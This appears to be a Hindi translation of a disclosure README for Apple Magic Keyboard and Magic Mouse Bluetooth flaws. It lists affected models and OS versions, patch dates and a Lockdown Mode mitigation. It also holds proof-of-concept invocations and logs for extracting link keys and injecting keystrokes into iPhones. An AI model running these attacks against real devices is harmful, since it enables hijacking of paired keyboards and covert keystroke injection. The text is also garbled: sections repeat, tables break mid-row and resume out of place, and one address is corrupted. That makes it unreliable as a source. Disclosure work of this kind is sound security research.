Apple ने 2024-01-09 को [Magic Keyboard पैच](https://support.apple.com/en-us/HT214050) रोल आउट करना शुरू किया।
निम्नलिखित Apple परिधीयों का परीक्षण किया गया और वे इस हमले के प्रति असुरक्षित पाए गए। किसी अन्य परिधीय का परीक्षण नहीं किया गया, इसलिए यह सूची अधूरी हो सकती है।
| उत्पाद का नाम | मॉडल संख्या |
|-|-|
| Magic Keyboard | A2450 |
| Magic Keyboard with Touch ID | A2449 |
| Magic Keyboard with Numeric Keypad | A1843 |
| Magic Keyboard with Touch ID and Numeric Keypad | A2520 |
| Magic Mouse | A1657 |
#### प्रारंभिक स्थिति
- Magic Keyboard अंतिम बार Mac में प्लग किए जाने के बाद से चालू बना हुआ है।
#### PoC चलाना
Magic Keyboard को Lightning-to-USB केबल के साथ Linux कंप्यूटर में प्लग करें और स्क्रिप्ट को बिना किसी पैरामीटर के चलाएँ।```
./read-link-key-lightning.py
Model - Magic Keyboard Serial Number - F1T2107RUNW12NXA9 BT Address - 1c:57:fc:08:65:12 Mac BT Address - a4:c3:99:e8:a8:6c BT Link Key - c95e3ec98809f2745d32029e7f97b67e
### Mac पर USB पोर्ट के माध्यम से Magic Keyboard लिंक कुंजी
जब Magic Keyboard Mac में प्लग किया जाता है, तो Mac USB के माध्यम से Magic Keyboard को ब्लूटूथ लिंक कुंजी भेजता है।
अगली बार जब Magic Keyboard Mac में प्लग किया जाता है, तो यह अपने ब्लूटूथ पते और सीरियल नंबर से पहचाना जाता है, और Mac मूल लिंक कुंजी Magic Keyboard को भेजता है।
यदि कोई हमलावर किसी लक्षित Magic Keyboard का ब्लूटूथ पता और सीरियल नंबर जानता है, तो वे USB के माध्यम से Mac के सामने Magic Keyboard को स्पूफ कर सकते हैं, और Mac पर USB पोर्ट से लक्षित लिंक कुंजी को पढ़ सकते हैं।
PoC इस हमले को लागू करता है, जिसमें लक्षित ब्लूटूथ पते और सीरियल नंबर को एक दाता कीबोर्ड में लिखा जाता है, दाता कीबोर्ड को Mac में प्लग किया जाता है, और फिर दाता कीबोर्ड से लिंक कुंजी पढ़ी जाती है।
इस हमले को Mac पर Lockdown Mode सक्षम करके कम किया जा सकता है।
#### प्रभावित संस्करण
Apple ने 2024-01-09 को [Magic Keyboard पैच](https://support.apple.com/en-us/HT214050) रोल आउट करना शुरू किया।
macOS के संस्करण 12, 13 और 14 का परीक्षण किया गया और ये इस हमले के प्रति संवेदनशील पाए गए। macOS के पुराने संस्करणों का परीक्षण नहीं किया गया।
निम्नलिखित Apple परिधीय उपकरणों (peripherals) का परीक्षण किया गया और ये इस हमले के प्रति संवेदनशील पाए गए। किसी अन्य परिधीय उपकरण का परीक्षण नहीं किया गया, इसलिए यह सूची अपूर्ण हो सकती है।
| उत्पाद का नाम | मॉडल नंबर |
|-|-|
| Magic Keyboard | A2450 |
| Magic Keyboard with Touch ID | A2449 |
| Magic Keyboard with Numeric Keypad | A1843 |
| Magic Keyboard with Touch ID and Numeric Keypad | A2520 |
| Magic Mouse | A1657 |
#### प्रारंभिक स्थिति
- Magic Keyboard ऐसे Mac के साथ युग्मित (paired) है जिसमें Lockdown Mode सक्षम नहीं है
- हमलावर Magic Keyboard का ब्लूटूथ पता और सीरियल नंबर जानता है
- हमलावर के पास एक दाता Magic Keyboard है (जिसे अस्थायी रूप से लक्षित कीबोर्ड को स्पूफ करने के लिए पुन: कॉन्फ़िगर किया जाएगा)
#### PoC चलाना```
> ./read-link-key-from-mac.py --help
usage: read-link-key-from-mac.py [-h] -a KEYBOARD_ADDRESS -s KEYBOARD_SERIAL
options:
-h, --help show this help message and exit
-a KEYBOARD_ADDRESS, --keyboard_address KEYBOARD_ADDRESS
-s KEYBOARD_SERIAL, --keyboard_serial KEYBOARD_SERIAL
./read-link-key-from-mac.py -a 1c:57:fc:08:65:12 -s F1T2107RUNW12NXA9
#### आउटपुट```
[2024-01-07 10:34:53.910] Turn on the donor keyboard and plug it into this computer
[2024-01-07 10:34:58.200] changing Bluetooth address from 3C:A6:F6:E1:3D:F0 to 1c:57:fc:08:65:12
[2024-01-07 10:34:58.201] serial number: F0T230C02AZ0NC1EH -> F1T2107RUNW12NXA9
[2024-01-07 10:34:58.202] Unplug the donor keyboard and plug it into the Mac.
[2024-01-07 10:34:58.202] Wait a few seconds, then plug it back into this computer.
[2024-01-07 10:35:02.533] keyboard was unplugged
[2024-01-07 10:35:13.463] keyboard has returned
[2024-01-07 10:35:13.464] Mac BT Address - a4:c3:99:e8:a8:6c
[2024-01-07 10:35:13.464] BT Link-Key - c95e3ec98809f2745d32029e7f97b67e
जब Magic Keyboard को Mac से प्लग किया जाता है, तो Mac ब्लूटूथ लिंक कुंजी को USB के माध्यम से Magic Keyboard को भेजता है।
लिंक कुंजी तब तक मेमोरी में रहती है जब तक Magic Keyboard बंद नहीं हो जाता, और इसे कीबोर्ड पर एक अप्रमाणित ब्लूटूथ HID सेवा के माध्यम से पढ़ा जा सकता है।
अप्रमाणित ब्लूटूथ HID सेवा तब उपलब्ध होती है जब Magic Keyboard को Mac से अनप्लग किया जाता है, और ब्लूटूथ लिंक स्थापित होने तक उपलब्ध रहती है।
यह एक टाइमिंग घटक के साथ ज़ीरो-क्लिक हमला है। PoC टाइमिंग ट्रिगर लागू नहीं करता है, और इसके बजाय सफल होने तक Magic Keyboard से कनेक्ट करने के लिए लूप में प्रयास करता है।
Apple ने 2024-01-09 को Magic Keyboard पैच जारी करना शुरू किया।
निम्नलिखित Apple परिधीय उपकरणों का परीक्षण किया गया और इस हमले के प्रति संवेदनशील पाए गए। किसी अन्य परिधीय उपकरण का परीक्षण नहीं किया गया, इसलिए यह सूची अधूरी हो सकती है।
| उत्पाद का नाम | मॉडल नंबर |
|---|---|
| Magic Keyboard | A2450 |
| Magic Keyboard with Touch ID | A2449 |
| Magic Keyboard with Numeric Keypad |
Magic Keyboard को Lightning-to-USB केबल के साथ Linux कंप्यूटर में प्लग करें, फिर स्क्रिप्ट चलाएँ। स्क्रिप्ट चलने के बाद, कीबोर्ड को Mac से अनप्लग करें।
जब कीबोर्ड अनप्लग किया जाता है, तो हमलावर मशीन और Mac के बीच कीबोर्ड से कनेक्ट करने की होड़ होती है।
PoC आमतौर पर कीबोर्ड के Mac से अनप्लग होने के ~5 या ~25 सेकंड बाद Magic Keyboard से कनेक्ट होता है। कभी-कभी Mac इस होड़ में जीत जाता है, और जब ऐसा होता है, तो PoC पूरा नहीं होगा।``` ./read-link-key-lightning.py
#### आह्वान```
./read-link-key-bluetooth.py 1c:57:dc:88:55:02
[2024-01-07 13:09:59.311] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:00.313] ERROR connecting on port 17: timed out [2024-01-07 13:10:00.314] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:00.316] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:00.318] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:01.359] ERROR connecting on port 17: timed out [2024-01-07 13:10:01.361] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:01.362] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:01.364] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:02.407] ERROR connecting on port 17: timed out [2024-01-07 13:10:02.408] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:02.410] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:02.411] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:03.448] ERROR connecting on port 17: timed out [2024-01-07 13:10:03.449] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:03.451] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:03.452] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:04.512] ERROR connecting on port 17: timed out [2024-01-07 13:10:04.513] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:04.515] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:04.516] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:05.568] ERROR connecting on port 17: timed out [2024-01-07 13:10:05.569] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:05.638] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:05.640] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:06.680] ERROR connecting on port 17: timed out [2024-01-07 13:10:06.681] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:07.682] ERROR connecting on port 17: timed out [2024-01-07 13:10:07.684] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:08.685] ERROR connecting on port 17: timed out [2024-01-07 13:10:08.687] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:09.689] ERROR connecting on port 17: timed out [2024-01-07 13:10:09.690] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:10.691] ERROR connecting on port 17: timed out [2024-01-07 13:10:10.693] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:11.694] ERROR connecting on port 17: timed out [2024-01-07 13:10:11.696] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:12.697] ERROR connecting on port 17: timed out [2024-01-07 13:10:12.699] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:13.700] ERROR connecting on port 17: timed out [2024-01-07 13:10:13.702] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:14.704] ERROR connecting on port 17: timed out [2024-01-07 13:10:14.705] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:15.707] ERROR connecting on port 17: timed out [2024-01-07 13:10:15.708] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:16.709] ERROR connecting on port 17: timed out [2024-01-07 13:10:16.711] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:17.712] ERROR connecting on port 17: timed out [2024-01-07 13:10:17.714] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:18.715] ERROR connecting on port 17: timed out [2024-01-07 13:10:18.717] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:19.719] ERROR connecting on port 17: timed out [2024-01-07 13:10:19.720] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:20.722] ERROR connecting on port 17: timed out [2024-01-07 13:10:20.723] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:21.725] ERROR connecting on port 17: timed out [2024-01-07 13:10:21.726] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:22.728] ERROR connecting on port 17: timed out [2024-01-07 13:10:22.729] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:23.731] ERROR connecting on port 17: timed out [2024-01-07 13:10:23.732] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:24.734] ERROR connecting on port 17: timed out [2024-01-07 13:10:24.735] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:25.737] ERROR connecting on port 17: timed out [2024-01-07 13:10:25.738] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:26.739] ERROR connecting on port 17: timed out [2024-01-07 13:10:26.741] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:26.824] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:26.826] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:27.868] ERROR connecting on port 17: timed out [2024-01-07 13:10:27.869] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:28.262] SUCCESS! connected on port 17 [2024-01-07 13:10:28.264] connecting to 1c:57:dc:88:55:02 on port 19 [2024-01-07 13:10:28.290] SUCCESS! connected on port 19 [2024-01-07 13:10:28.291] [TX-17] 53ff34 [2024-01-07 13:10:28.346] [RX-17] 00 [2024-01-07 13:10:28.346] [TX-17] 43f0 [2024-01-07 13:10:28.414] [RX-17] a3f0340347011c57dc88550200254000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 [2024-01-07 13:10:28.414] [TX-17] 53ff35 [2024-01-07 13:10:28.458] [RX-17] 00 [2024-01-07 13:10:28.458] [TX-17] 43f0 [2024-01-07 13:10:28.498] [RX-17] a3f035010150de06a8e1ca80b480523b23bbff5ea40c52e88f1905 Model 0 - Magic Keyboard BT Address - 1c:57:dc:88:55:02 Mac BT Address - 50🇩🇪06:a8:e1:ca BT Link Key - 05198fe8520ca45effbb233b5280b480
### iOS कीस्ट्रोक इंजेक्शन
जब एक iPhone ब्लूटूथ के माध्यम से अपने पेयर्ड Magic Keyboard से कनेक्ट करने का प्रयास कर रहा होता है, तो एक हमलावर iPhone के लिए Magic Keyboard का रूप धारण कर सकता है, एक वर्चुअल ब्लूटूथ कीबोर्ड को पेयर कर सकता है, और उपयोगकर्ता की पुष्टि के बिना कीस्ट्रोक इंजेक्ट कर सकता है।
इस हमले में एक टाइमिंग घटक होता है, जहाँ हमलावर को उस सटीक क्षण में iPhone से कनेक्ट होना चाहिए जब iPhone अपने Magic Keyboard से कनेक्ट करने का प्रयास करता है।
शामिल PoC तब सक्रिय होता है जब iPhone अपने पेयर्ड Magic Keyboard से कनेक्ट करने का प्रयास करता है। यह macOS PoC के समान SDP टाइमिंग ट्रिगर का उपयोग करता है, जो तब ट्रिगर होता है जब iPhone अपने पेयर्ड Magic Keyboard से कनेक्ट हो रहा होता है। यह एक ज़ीरो-क्लिक हमला है जिसके लिए यह देखना आवश्यक है कि उपयोगकर्ता अपने पेयर्ड Magic Keyboard से कनेक्ट करता है।
#### प्रभावित संस्करण
- iOS 17, 17.2 से पहले के संस्करण असुरक्षित हैं
- iOS 16 असुरक्षित है, जिसके लिए कोई पैच अपेक्षित नहीं है
- iOS 15 और उससे पुराने का परीक्षण नहीं किया गया
#### प्रारंभिक अवस्था
- iPhone एक Magic Keyboard के साथ पेयर्ड है, और कीबोर्ड रेंज से बाहर है या बंद है।
- जब उपयोगकर्ता अपने Magic Keyboard से कनेक्ट करने का प्रयास करता है, तो PoC एक वेब ब्राउज़र खोलने और Google खोज करने के लिए कीस्ट्रोक इंजेक्ट करता है।
#### PoC चलाना
**नोट: इस PoC के लिए हमलावर मशीन पर BlueZ को संगतता मोड में चलना चाहिए। iPhone PoC स्क्रिप्ट iphone-poc.zip में मिलती है**```
> ./iphone-poc.py
usage: ./iphone-poc.py <hciX> <BT_ADDR_IPHONE> <BT_ADDR_KEYBOARD>
./iphone-poc.py hci1 4C:20:B8:D6:63:45 1C:57:DC:88:55:02
| A1843 |
| Magic Keyboard with Touch ID and Numeric Keypad | A2520 |
| Magic Mouse | A1657 |